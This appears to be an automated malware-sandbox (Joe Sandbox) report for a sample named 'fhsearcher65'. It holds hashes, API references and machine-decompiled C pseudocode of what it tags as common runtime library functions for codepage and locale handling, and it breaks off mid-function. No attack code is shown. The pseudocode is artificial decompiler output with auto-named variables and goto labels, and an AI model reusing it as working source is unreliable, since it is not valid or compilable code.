0x0042aab2
0x0042aaa7
0x0042ab14
0x0042ab19
0x0042aa8e
0x0042aa72
0x0042aa54
0x0042aa1f
0x0042aa11
0x0042ab20
0x0042ab26
0x0042ab26
0x0042a9f8
0x0042a938
0x0042a90c
0x0042ab33
0x0042ab44

APIs

GetCPInfo.KERNEL32(00000000,00000001,D71F2CEC,7FFFFFFF,?,?,0042AB76,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 0042A95D
__alloca_probe_16.LIBCMT ref: 0042AA13
__alloca_probe_16.LIBCMT ref: 0042AAA9
__freea.LIBCMT ref: 0042AB14
__freea.LIBCMT ref: 0042AB20

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: b41c87e54a81f85fc1626fdf191cd7102504b7252472ff86ceb79712dc72de2f
Instruction ID: 2b737115717f9661f65aefcd4a69d96ab208143b72ac396629543381bbec1801
Opcode Fuzzy Hash: b41c87e54a81f85fc1626fdf191cd7102504b7252472ff86ceb79712dc72de2f
Instruction Fuzzy Hash: CB814971F002266BDF209F56A841AEF7BB69F09304F95045BED00A7341D63DDCA1C7AA

Uniqueness

Uniqueness Score: -1.00%

Function 1000B48F Relevance: 7.7, APIs: 5, Instructions: 244
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 88%

			E1000B48F(signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr* _a24, intOrPtr _a28, int _a32) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				intOrPtr* _v32;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				intOrPtr _v48;
				void* _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t55;
				intOrPtr* _t60;
				int _t62;
				signed int _t65;
				signed int _t66;
				intOrPtr* _t67;
				void* _t69;
				signed int _t70;
				signed int _t71;
				intOrPtr* _t77;
				char* _t79;
				char* _t80;
				intOrPtr _t95;
				intOrPtr _t96;
				intOrPtr* _t102;
				signed int _t104;
				void* _t105;
				intOrPtr* _t107;
				void* _t108;
				intOrPtr* _t109;

				_t55 =  *0x10017004; // 0xdfd3a356
				_v8 = _t55 ^ _t104;
				_t103 = _a20;
				_v44 = _a4;
				_v48 = _a8;
				_t59 = _a24;
				_v40 = _a24;
				_t102 = _a16;
				_v36 = _t102;
				if(_t103 <= 0) {
					if(_t103 < 0xffffffff) {
						goto L60;
					} else {
						goto L3;
					}
				} else {
					_t103 = E1000D4D1(_t102, _t103);
					_t59 = _v40;
					L3:
					_t85 = _a28;
					if(_t85 <= 0) {
						if(_t85 < 0xffffffff) {
							goto L60;
						} else {
							goto L6;
						}
					} else {
						_t85 = E1000D4D1(_t59, _t85);
						L6:
						_t62 = _a32;
						if(_t62 == 0) {
							_t62 =  *( *_v44 + 8);
							_a32 = _t62;
						}
						if(_t103 == 0 || _t85 == 0) {
							if(_t103 == _t85) {
								L59:
								_push(2);
								goto L22;
							} else {
								if(_t85 > 1) {
									L31:
									_t60 = 1;
								} else {
									if(_t103 > 1) {
										L21:
										_push(3);
										goto L22;
									} else {
										if(GetCPInfo(_t62,  &_v28) == 0) {
											goto L60;
										} else {
											if(_t103 <= 0) {
												if(_t85 <= 0) {
													goto L32;
												} else {
													if(_v28 >= 2) {
														_t79 =  &_v22;
														if(_v22 != 0) {
															_t103 = _v40;
															while(1) {
																_t95 =  *((intOrPtr*)(_t79 + 1));
																if(_t95 == 0) {
																	goto L31;
																}
																_t101 =  *_t103;
																if(_t101 <  *_t79 || _t101 > _t95) {
																	_t79 = _t79 + 2;
																	if( *_t79 != 0) {
																		continue;
																	} else {
																		goto L31;
																	}
																} else {
																	goto L59;
																}
																goto L61;
															}
														}
													}
													goto L31;
												}
											} else {
												if(_v28 >= 2) {
													_t80 =  &_v22;
													if(_v22 != 0) {
														while(1) {
															_t96 =  *((intOrPtr*)(_t80 + 1));
															if(_t96 == 0) {
																goto L21;
															}
															_t101 =  *_t102;
															if(_t101 <  *_t80 || _t101 > _t96) {
																_t80 = _t80 + 2;
																if( *_t80 != 0) {
																	continue;
																} else {
																	goto L21;
																}
															} else {
																goto L59;
															}
															goto L22;
														}
													}
												}
												goto L21;
												L22:
												_pop(_t60);
											}
										}
									}
								}
							}
						} else {
							L32:
							_t102 = 0;
							_t65 = E1000A43C(_a32, 9, _v36, _t103, 0, 0);
							_t107 = _t105 + 0x18;
							_v44 = _t65;
							if(_t65 == 0) {
								L60:
								_t60 = 0;
							} else {
								_t101 = _t65 + _t65 + 8;
								asm("sbb eax, eax");
								_t66 = _t65 & _t65 + _t65 + 0x00000008;
								if(_t66 == 0) {
									_t67 = 0;
									_v32 = 0;
									goto L41;
								} else {
									if(_t66 > 0x400) {
										_t77 = E1000873B(_t66);
										_v32 = _t77;
										if(_t77 == 0) {
											goto L57;
										} else {
											 *_t77 = 0xdddd;
											goto L39;
										}
									} else {
										E1000F460(_t66);
										_t77 = _t107;
										_v32 = _t77;
										if(_t77 == 0) {
											L57:
											_t85 = _v32;
										} else {
											 *_t77 = 0xcccc;
											L39:
											_t67 = _t77 + 8;
											_v32 = _t67;
											L41:
											if(_t67 == 0) {
												goto L57;
											} else {
												_t103 = _a32;
												_t69 = E1000A43C(_a32, 1, _v36, _a32, _t67, _v44);
												_t108 = _t107 + 0x18;
												if(_t69 == 0) {
													goto L57;
												} else {
													_t70 = E1000A43C(_t103, 9, _v40, _t85, _t102, _t102);
													_t109 = _t108 + 0x18;
													_v36 = _t70;
													if(_t70 == 0) {
														goto L57;
													} else {
														_t101 = _t70 + _t70 + 8;
														asm("sbb eax, eax");
														_t71 = _t70 & _t70 + _t70 + 0x00000008;
														if(_t71 == 0) {
															_t103 = _t102;
															goto L52;
														} else {
															if(_t71 > 0x400) {
																_t103 = E1000873B(_t71);
																if(_t103 == 0) {
																	goto L55;
																} else {
																	 *_t103 = 0xdddd;
																	goto L50;
																}
															} else {
																E1000F460(_t71);
																_t103 = _t109;
																if(_t103 == 0) {
																	L55:
																	_t85 = _v32;
																} else {
																	 *_t103 = 0xcccc;
																	L50:
																	_t103 = _t103 + 8;
																	L52:
																	if(_t103 == 0 || E1000A43C(_a32, 1, _v40, _t85, _t103, _v36) == 0) {
																		goto L55;
																	} else {
																		_t85 = _v32;
																		_t102 = E100081B8(_v48, _a12, _v32, _v44, _t103, _v36, _t102, _t102, _t102);
																	}
																}
															}
														}
														E1000B760(_t103);
													}
												}
											}
										}
									}
								}
								E1000B760(_t85);
								_t60 = _t102;
							}
						}
					}
				}
				L61:
				return E100031FF(_t60, _t85, _v8 ^ _t104, _t101, _t102, _t103);
			}

0x1000b497
0x1000b49e
0x1000b4a6
0x1000b4a9
0x1000b4af
0x1000b4b2
0x1000b4b5
0x1000b4b9
0x1000b4bc
0x1000b4c1
0x1000b4d6
0x00000000
0x00000000
0x00000000
0x00000000
0x1000b4c3
0x1000b4cb
0x1000b4cd
0x1000b4dc
0x1000b4dc
0x1000b4e1
0x1000b4f3
0x00000000
0x00000000
0x00000000
0x00000000
0x1000b4e3
0x1000b4ec
0x1000b4f9
0x1000b4f9
0x1000b4fe
0x1000b505
0x1000b508
0x1000b508
0x1000b50d
0x1000b519
0x1000b6ff
0x1000b6ff
0x00000000
0x1000b51f
0x1000b522
0x1000b5ab
0x1000b5ad
0x1000b528
0x1000b52b
0x1000b570
0x1000b570
0x00000000
0x1000b52d
0x1000b53a
0x00000000
0x1000b540
0x1000b542
0x1000b57a
0x00000000
0x1000b57c
0x1000b580
0x1000b586
0x1000b589
0x1000b58b
0x1000b58e
0x1000b58e
0x1000b593
0x00000000
0x00000000
0x1000b595
0x1000b599
0x1000b5a3
0x1000b5a9
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1000b599
0x1000b58e
0x1000b589
0x00000000
0x1000b580
0x1000b544
0x1000b548
0x1000b54e
0x1000b551
0x1000b553
0x1000b553
0x1000b558
0x00000000
0x00000000
0x1000b55a
0x1000b55e
0x1000b568
0x1000b56e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1000b55e
0x1000b553
0x1000b551
0x00000000
0x1000b572
0x1000b572
0x1000b572
0x1000b542
0x1000b53a
0x1000b52b
0x1000b522
0x1000b5b3
0x1000b5b3
0x1000b5b3
0x1000b5c0
0x1000b5c5
0x1000b5c8
0x1000b5cd
0x1000b706
0x1000b706
0x1000b5d3
0x1000b5d6
0x1000b5db
0x1000b5dd
0x1000b5df
0x1000b622
0x1000b624
0x00000000
0x1000b5e1
0x1000b5e6
0x1000b603
0x1000b608
0x1000b60e
0x00000000
0x1000b614
0x1000b614
0x00000000
0x1000b614
0x1000b5e8
0x1000b5e8
0x1000b5ed
0x1000b5ef
0x1000b5f4
0x1000b6f1
0x1000b6f1
0x1000b5fa
0x1000b5fa
0x1000b61a
0x1000b61a
0x1000b61d
0x1000b627
0x1000b629
0x00000000
0x1000b62f
0x1000b637
0x1000b63d
0x1000b642
0x1000b647
0x00000000
0x1000b64d
0x1000b656
0x1000b65b
0x1000b65e
0x1000b663
0x00000000
0x1000b669
0x1000b66c
0x1000b671
0x1000b673
0x1000b675
0x1000b6a9
0x00000000
0x1000b677
0x1000b67c
0x1000b697
0x1000b69c
0x00000000
0x1000b69e
0x1000b69e
0x00000000
0x1000b69e
0x1000b67e
0x1000b67e
0x1000b683
0x1000b687
0x1000b6e5
0x1000b6e5
0x1000b689
0x1000b689
0x1000b6a4
0x1000b6a4
0x1000b6ab
0x1000b6ad
0x00000000
0x1000b6c8
0x1000b6c8
0x1000b6e1
0x1000b6e1
0x1000b6ad
0x1000b687
0x1000b67c
0x1000b6e9
0x1000b6ee
0x1000b663
0x1000b647
0x1000b629
0x1000b5f4
0x1000b5e6
0x1000b6f5
0x1000b6fb
0x1000b6fb
0x1000b5cd
0x1000b50d
0x1000b4e1
0x1000b708
0x1000b719

APIs

GetCPInfo.KERNEL32(00000000,00000001,0000000C,7FFFFFFF,?,?,1000B74B,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 1000B532
__alloca_probe_16.LIBCMT ref: 1000B5E8
__alloca_probe_16.LIBCMT ref: 1000B67E
__freea.LIBCMT ref: 1000B6E9
__freea.LIBCMT ref: 1000B6F5

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: c6390f5830a5bd64e0d7d9921fe9131eca71760e160ba7ebcfd4c686c01d4e7a
Instruction ID: 51b2610d37baa8f47a16c6f8ed064628e0d76a618a69041087d5fbf597a7fe1f
Opcode Fuzzy Hash: c6390f5830a5bd64e0d7d9921fe9131eca71760e160ba7ebcfd4c686c01d4e7a
Instruction Fuzzy Hash: 7481B072E00A1A9BFF10DE658C81AEE7BF9DF493D4F150159E804B7249D636DD40CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1000D0F4 Relevance: 7.7, APIs: 5, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E1000D0F4(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				intOrPtr _v12;
				void* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t41;
				signed int _t49;
				void* _t51;
				signed int _t55;
				intOrPtr _t63;
				intOrPtr _t69;
				void* _t71;
				intOrPtr* _t72;
				intOrPtr _t86;
				void* _t89;
				intOrPtr* _t91;
				intOrPtr _t93;
				void* _t94;
				void* _t95;
				signed int _t96;
				void* _t97;
				intOrPtr* _t98;
				intOrPtr* _t100;
				void* _t103;

				_push(__ecx);
				_push(__ecx);
				_t41 =  *0x10017004; // 0xdfd3a356
				_v8 = _t41 ^ _t96;
				_t93 = _a20;
				if(_t93 > 0) {
					_t69 = E1000D4D1(_a16, _t93);
					_t103 = _t69 - _t93;
					_t4 = _t69 + 1; // 0x1
					_t93 = _t4;
					if(_t103 >= 0) {
						_t93 = _t69;
					}
				}
				_t88 = _a32;
				if(_a32 == 0) {
					_t88 =  *((intOrPtr*)( *_a4 + 8));
					_a32 =  *((intOrPtr*)( *_a4 + 8));
				}
				_t86 = E1000A43C(_t88, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t93, 0, 0);
				_t98 = _t97 + 0x18;
				_v12 = _t86;
				if(_t86 == 0) {
					L39:
					_pop(_t89);
					_pop(_t94);
					_pop(_t71);
					return E100031FF(_t46, _t71, _v8 ^ _t96, _t86, _t89, _t94);
				} else {
					_t17 = _t86 + _t86 + 8; // 0x8
					asm("sbb eax, eax");
					_t49 = _t86 + _t86 & _t17;
					if(_t49 == 0) {
						_t72 = 0;
						L15:
						if(_t72 == 0) {
							L37:
							_t95 = 0;
							L38:
							E1000B760(_t72);
							_t46 = _t95;
							goto L39;
						}
						_t51 = E1000A43C(_t88, 1, _a16, _t93, _t72, _t86);
						_t100 = _t98 + 0x18;
						if(_t51 == 0) {
							goto L37;
						}
						_t90 = _v12;
						_t95 = E1000835F(_a8, _a12, _t72, _v12, 0, 0, 0, 0, 0);
						if(_t95 == 0) {
							goto L37;
						}
						_t86 = 0x400;
						if((_a12 & 0x00000400) == 0) {
							_t31 = _t95 + _t95 + 8; // 0x8
							asm("sbb eax, eax");
							_t55 = _t95 + _t95 & _t31;
							if(_t55 == 0) {
								_t91 = 0;
								L31:
								if(_t91 == 0 || E1000835F(_a8, _a12, _t72, _v12, _t91, _t95, 0, 0, 0) == 0) {
									L36:
									E1000B760(_t91);
									goto L37;
								} else {
									_push(0);
									_push(0);
									if(_a28 != 0) {
										_push(_a28);
										_push(_a24);
									} else {
										_push(0);
										_push(0);
									}
									_push(_t95);
									_push(_t91);
									_push(0);
									_push(_a32);
									_t95 = E1000A4B8();
									if(_t95 != 0) {
										E1000B760(_t91);
										goto L38;
									} else {
										goto L36;
									}
								}
							}
							if(_t55 > 0x400) {
								_t91 = E1000873B(_t55);
								if(_t91 == 0) {
									goto L36;
								}
								 *_t91 = 0xdddd;
								L29:
								_t91 = _t91 + 8;
								goto L31;
							}
							E1000F460(_t55);
							_t91 = _t100;
							if(_t91 == 0) {
								goto L36;
							}
							 *_t91 = 0xcccc;
							goto L29;
						}
						_t63 = _a28;
						if(_t63 == 0) {
							goto L38;
						}
						if(_t95 > _t63) {
							goto L37;
						}
						_t95 = E1000835F(_a8, _a12, _t72, _t90, _a24, _t63, 0, 0, 0);
						if(_t95 != 0) {
							goto L38;
						}
						goto L37;
					}
					if(_t49 > 0x400) {
						_t72 = E1000873B(_t49);
						if(_t72 == 0) {
							L13:
							_t86 = _v12;
							goto L15;
						}
						 *_t72 = 0xdddd;
						L12:
						_t72 = _t72 + 8;
						goto L13;
					}
					E1000F460(_t49);
					_t72 = _t98;
					if(_t72 == 0) {
						goto L13;
					}
					 *_t72 = 0xcccc;
					goto L12;
				}
			}

0x1000d0f9
0x1000d0fa
0x1000d0fb
0x1000d102
0x1000d107
0x1000d10d
0x1000d113
0x1000d119
0x1000d11c
0x1000d11c
0x1000d11f
0x1000d121
0x1000d121
0x1000d11f
0x1000d123
0x1000d128
0x1000d12f
0x1000d132
0x1000d132
0x1000d153
0x1000d155
0x1000d158
0x1000d15d
0x1000d2bb
0x1000d2be
0x1000d2bf
0x1000d2c0
0x1000d2cc
0x1000d163
0x1000d166
0x1000d16b
0x1000d16d
0x1000d16f
0x1000d1a6
0x1000d1a8
0x1000d1aa
0x1000d2b0
0x1000d2b0
0x1000d2b2
0x1000d2b3
0x1000d2b9
0x00000000
0x1000d2b9
0x1000d1b9
0x1000d1be
0x1000d1c3
0x00000000
0x00000000
0x1000d1c9
0x1000d1e0
0x1000d1e4
0x00000000
0x00000000
0x1000d1ea
0x1000d1f2
0x1000d22f
0x1000d234
0x1000d236
0x1000d238
0x1000d269
0x1000d26b
0x1000d26d
0x1000d2a9
0x1000d2aa
0x00000000
0x1000d28a
0x1000d28c
0x1000d28d
0x1000d291
0x1000d2cd
0x1000d2d0
0x1000d293
0x1000d293
0x1000d294
0x1000d294
0x1000d295
0x1000d296
0x1000d297
0x1000d298
0x1000d2a0
0x1000d2a7
0x1000d2d6
0x00000000
0x00000000
0x00000000
0x00000000
0x1000d2a7
0x1000d26d
0x1000d23c
0x1000d257
0x1000d25c
0x00000000
0x00000000
0x1000d25e
0x1000d264
0x1000d264
0x00000000
0x1000d264
0x1000d23e
0x1000d243
0x1000d247
0x00000000
0x00000000
0x1000d249
0x00000000
0x1000d249
0x1000d1f4
0x1000d1f9
0x00000000
0x00000000
0x1000d201
0x00000000
0x00000000
0x1000d21d
0x1000d221
0x00000000
0x00000000
0x00000000
0x1000d227
0x1000d176
0x1000d191
0x1000d196
0x1000d1a1
0x1000d1a1
0x00000000
0x1000d1a1
0x1000d198
0x1000d19e
0x1000d19e
0x00000000
0x1000d19e
0x1000d178
0x1000d17d
0x1000d181
0x00000000
0x00000000
0x1000d183
0x00000000
0x1000d183

APIs

__alloca_probe_16.LIBCMT ref: 1000D178
__alloca_probe_16.LIBCMT ref: 1000D23E
__freea.LIBCMT ref: 1000D2AA

Part of subcall function 1000873B: RtlAllocateHeap.NTDLL(00000000,?,?,?,10003243,?,?,100024B8,0007A120), ref: 1000876D

__freea.LIBCMT ref: 1000D2B3
__freea.LIBCMT ref: 1000D2D6

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 146f262ff555a53674fd139b17de7a2300d41466104e78fb213c224316c85ad6
Instruction ID: 8e48ba519724a98946e6f1a20e563b472711a73b32590d39ac94bb068a9bb579
Opcode Fuzzy Hash: 146f262ff555a53674fd139b17de7a2300d41466104e78fb213c224316c85ad6
Instruction Fuzzy Hash: DC51B172600216ABFB11EE54CC81EAF37A9EF957E0F12012AFD04A7148EB70ED5196B1

Uniqueness

Uniqueness Score: -1.00%

Function 0041BE21 Relevance: 7.7, APIs: 5, Instructions: 186
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 76%

			E0041BE21(void* __ebx, signed int __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				intOrPtr* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v60;
				char _v276;
				short _v278;
				short _v280;
				char _v448;
				signed int _v452;
				short _v454;
				intOrPtr _v456;
				signed int _v460;
				intOrPtr _v464;
				signed int _v468;
				signed int _v472;
				intOrPtr _v512;
				char _v536;
				intOrPtr _v540;
				signed int _v544;
				intOrPtr _v548;
				signed int _v560;
				char _v708;
				signed int _v712;
				short _v714;
				signed int _v716;
				signed int _v720;
				signed int _v724;
				intOrPtr _v728;
				signed int _v732;
				intOrPtr _v736;
				signed int* _v740;
				signed int _v744;
				signed int _v748;
				signed int _v752;
				char _v824;
				char _v1252;
				char _v1268;
				intOrPtr _v1284;
				signed int _v1288;
				intOrPtr _v1324;
				signed int _v1336;
				void* __ebp;
				signed int _t251;
				void* _t254;
				signed int _t257;
				signed int _t259;
				signed int _t265;
				signed int _t266;
				signed int _t267;
				signed int _t268;
				signed int _t269;
				signed int _t270;
				void* _t272;
				signed int _t273;
				signed int _t274;
				signed int _t275;
				signed int _t277;
				signed int _t280;
				signed int _t287;
				signed int _t288;
				signed int _t290;
				signed int _t291;
				intOrPtr _t292;
				signed int _t295;
				signed int _t297;
				signed int _t298;
				signed int _t301;
				signed int _t303;
				signed int _t306;
				signed int _t307;
				signed int _t309;
				signed int _t310;
				signed int _t326;
				signed int _t328;
				signed int _t330;
				signed int _t334;
				void* _t335;
				signed int _t337;
				void* _t338;
				intOrPtr _t339;
				signed int _t343;
				signed int _t344;
				intOrPtr* _t349;
				signed int _t363;
				signed int _t365;
				void* _t366;
				signed int _t367;
				intOrPtr* _t368;
				signed int _t370;
				void* _t371;
				void* _t375;
				signed int _t379;
				intOrPtr* _t380;
				intOrPtr* _t383;
				void* _t386;
				signed int _t387;
				signed int _t390;
				intOrPtr* _t391;
				char* _t398;
				intOrPtr _t402;
				intOrPtr* _t403;
				signed int _t405;
				signed int _t410;
				signed int _t411;
				intOrPtr* _t415;
				intOrPtr* _t416;
				signed int _t425;
				short _t426;
				signed int _t428;
				intOrPtr _t429;
				void* _t430;
				signed int _t432;
				intOrPtr _t433;
				void* _t434;
				signed int _t435;
				signed int _t438;
				intOrPtr _t444;
				signed int _t445;
				void* _t446;
				signed int _t447;
				signed int _t448;
				void* _t450;
				signed int _t452;
				signed int _t454;
				signed int _t457;
				signed int* _t458;
				short _t459;
				signed int _t461;
				signed int _t462;
				void* _t464;
				void* _t465;
				signed int _t466;
				void* _t467;
				void* _t468;
				signed int _t469;
				void* _t471;
				void* _t472;
				signed int _t484;

				_t424 = __edx;
				_push(__ebx);
				_push(__esi);
				_v12 = 1;
				_t363 = E0041F0DF(0x6a6);
				_t250 = 0;
				_pop(_t375);
				if(_t363 == 0) {
					L20:
					return _t250;
				} else {
					_push(__edi);
					 *_t363 = 1;
					_t428 = _t363 + 4;
					_t444 = _a4;
					 *_t428 = 0;
					_t251 = _t444 + 0x30;
					_push( *_t251);
					_v16 = _t251;
					_push(0x431670);
					_push( *0x4315ac);
					E0041BD5D(_t363, _t375, __edx, _t428, _t444, _t428, 0x351, 3);
					_t465 = _t464 + 0x18;
					_v8 = 0x4315ac;
					while(1) {
						L2:
						_t254 = E0042544D(_t428, 0x351, 0x43166c);
						_t466 = _t465 + 0xc;
						if(_t254 != 0) {
							break;
						} else {
							_t8 = _v16 + 0x10; // 0x10
							_t415 = _t8;
							_t343 =  *_v16;
							_v16 = _t415;
							_t416 =  *_t415;
							_v20 = _t416;
							goto L4;
						}
						while(1) {
							L4:
							_t424 =  *_t343;
							if(_t424 !=  *_t416) {
								break;
							}
							if(_t424 == 0) {
								L8:
								_t344 = 0;
							} else {
								_t424 =  *((intOrPtr*)(_t343 + 2));
								if(_t424 !=  *((intOrPtr*)(_t416 + 2))) {
									break;
								} else {
									_t343 = _t343 + 4;
									_t416 = _t416 + 4;
									if(_t424 != 0) {
										continue;
									} else {
										goto L8;
									}
								}
							}
							L10:
							_push(_v20);
							_push(0x431670);
							asm("sbb eax, eax");
							_v12 = _v12 &  !( ~_t344);
							_t349 = _v8 + 0xc;
							_v8 = _t349;
							_push( *_t349);
							E0041BD5D(_t363, _t416, _t424, _t428, _t444, _t428, 0x351, 3);
							_t465 = _t466 + 0x18;
							if(_v8 < 0x4315dc) {
								goto L2;
							} else {
								if(_v12 != 0) {
									E0041E668(_t363);
									_t435 = _t428 | 0xffffffff;
									__eflags =  *(_t444 + 0x28);
									if(__eflags != 0) {
										asm("lock xadd [ecx], eax");
										if(__eflags == 0) {
											E0041E668( *(_t444 + 0x28));
										}
									}
									__eflags =  *(_t444 + 0x24);
									if( *(_t444 + 0x24) != 0) {
										asm("lock xadd [eax], edi");
										__eflags = _t435 == 1;
										if(_t435 == 1) {
											E0041E668( *(_t444 + 0x24));
										}
									}
									 *(_t444 + 0x24) = 0;
									 *(_t444 + 0x1c) = 0;
									 *(_t444 + 0x28) = 0;
									 *((intOrPtr*)(_t444 + 0x20)) = 0;
									_t250 =  *((intOrPtr*)(_t444 + 0x40));
								} else {
									_t438 = _t428 | 0xffffffff;
									_t484 =  *(_t444 + 0x28);
									if(_t484 != 0) {
										asm("lock xadd [ecx], eax");
										if(_t484 == 0) {
											E0041E668( *(_t444 + 0x28));
										}
									}
									if( *(_t444 + 0x24) != 0) {
										asm("lock xadd [eax], edi");
										if(_t438 == 1) {
											E0041E668( *(_t444 + 0x24));
										}
									}
									 *(_t444 + 0x24) =  *(_t444 + 0x24) & 0x00000000;
									_t250 = _t363 + 4;
									 *(_t444 + 0x1c) =  *(_t444 + 0x1c) & 0x00000000;
									 *(_t444 + 0x28) = _t363;
									 *((intOrPtr*)(_t444 + 0x20)) = _t250;
								}
								goto L20;
							}
							goto L134;
						}
						asm("sbb eax, eax");
						_t344 = _t343 | 0x00000001;
						__eflags = _t344;
						goto L10;
					}
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E004138F4();
					asm("int3");
					_t461 = _t466;
					_t467 = _t466 - 0x1d0;
					_t257 =  *0x43d054; // 0xd71f2cec
					_v60 = _t257 ^ _t461;
					_t259 = _v44;
					_push(_t363);
					_push(_t444);
					_t445 = _v40;
					_push(_t428);
					_t429 = _v48;
					_v512 = _t429;
					__eflags = _t259;
					if(_t259 == 0) {
						_v460 = 1;
						_v472 = 0;
						_t365 = 0;
						_v452 = 0;
						__eflags = _t445;
						if(__eflags == 0) {
							L79:
							_t259 = E0041BE21(_t365, _t424, _t429, _t445, __eflags, _t429);
							goto L80;
						} else {
							__eflags =  *_t445 - 0x4c;
							if( *_t445 != 0x4c) {
								L59:
								_t259 = E0041B997(_t365, _t424, _t429, _t445, _t445,  &_v276, 0x83,  &_v448, 0x55,  &_v468);
								_t468 = _t467 + 0x18;
								__eflags = _t259;
								if(_t259 != 0) {
									_t379 = 0;
									__eflags = 0;
									_t425 = _t429 + 0x20;
									_t447 = 0;
									_v452 = _t425;
									do {
										__eflags = _t447;
										if(_t447 == 0) {
											L74:
											_t265 = _v460;
										} else {
											_t380 =  *_t425;
											_t266 =  &_v276;
											while(1) {
												__eflags =  *_t266 -  *_t380;
												_t429 = _v464;
												if( *_t266 !=  *_t380) {
													break;
												}
												__eflags =  *_t266;
												if( *_t266 == 0) {
													L67:
													_t379 = 0;
													_t267 = 0;
												} else {
													_t426 =  *((intOrPtr*)(_t266 + 2));
													__eflags = _t426 -  *((intOrPtr*)(_t380 + 2));
													_v454 = _t426;
													_t425 = _v452;
													if(_t426 !=  *((intOrPtr*)(_t380 + 2))) {
														break;
													} else {
														_t266 = _t266 + 4;
														_t380 = _t380 + 4;
														__eflags = _v454;
														if(_v454 != 0) {
															continue;
														} else {
															goto L67;
														}
													}
												}
												L69:
												__eflags = _t267;
												if(_t267 == 0) {
													_t365 = _t365 + 1;
													__eflags = _t365;
													goto L74;
												} else {
													_t268 =  &_v276;
													_push(_t268);
													_push(_t447);
													_push(_t429);
													L83();
													_t425 = _v452;
													_t468 = _t468 + 0xc;
													__eflags = _t268;
													if(_t268 == 0) {
														_t379 = 0;
														_t265 = 0;
														_v460 = 0;
													} else {
														_t365 = _t365 + 1;
														_t379 = 0;
														goto L74;
													}
												}
												goto L75;
											}
											asm("sbb eax, eax");
											_t267 = _t266 | 0x00000001;
											_t379 = 0;
											__eflags = 0;
											goto L69;
										}
										L75:
										_t447 = _t447 + 1;
										_t425 = _t425 + 0x10;
										_v452 = _t425;
										__eflags = _t447 - 5;
									} while (_t447 <= 5);
									__eflags = _t265;
									if(__eflags != 0) {
										goto L79;
									} else {
										__eflags = _t365;
										if(__eflags != 0) {
											goto L79;
										} else {
											_t259 = _t379;
										}
									}
								}
								goto L80;
							} else {
								__eflags =  *(_t445 + 2) - 0x43;
								if( *(_t445 + 2) != 0x43) {
									goto L59;
								} else {
									__eflags =  *((short*)(_t445 + 4)) - 0x5f;
									if( *((short*)(_t445 + 4)) != 0x5f) {
										goto L59;
									} else {
										while(1) {
											_t269 = E0042666B(_t445, 0x431664);
											_t367 = _t269;
											_v468 = _t367;
											_pop(_t382);
											__eflags = _t367;
											if(_t367 == 0) {
												break;
											}
											_t270 = _t269 - _t445;
											__eflags = _t270;
											_v460 = _t270 >> 1;
											if(_t270 == 0) {
												break;
											} else {
												_t272 = 0x3b;
												__eflags =  *_t367 - _t272;
												if( *_t367 == _t272) {
													break;
												} else {
													_t432 = _v460;
													_t368 = 0x4315ac;
													_v456 = 1;
													do {
														_t273 = E00416664( *_t368, _t445, _t432);
														_t467 = _t467 + 0xc;
														__eflags = _t273;
														if(_t273 != 0) {
															goto L45;
														} else {
															_t383 =  *_t368;
															_t424 = _t383 + 2;
															do {
																_t339 =  *_t383;
																_t383 = _t383 + 2;
																__eflags = _t339 - _v472;
															} while (_t339 != _v472);
															_t382 = _t383 - _t424 >> 1;
															__eflags = _t432 - _t383 - _t424 >> 1;
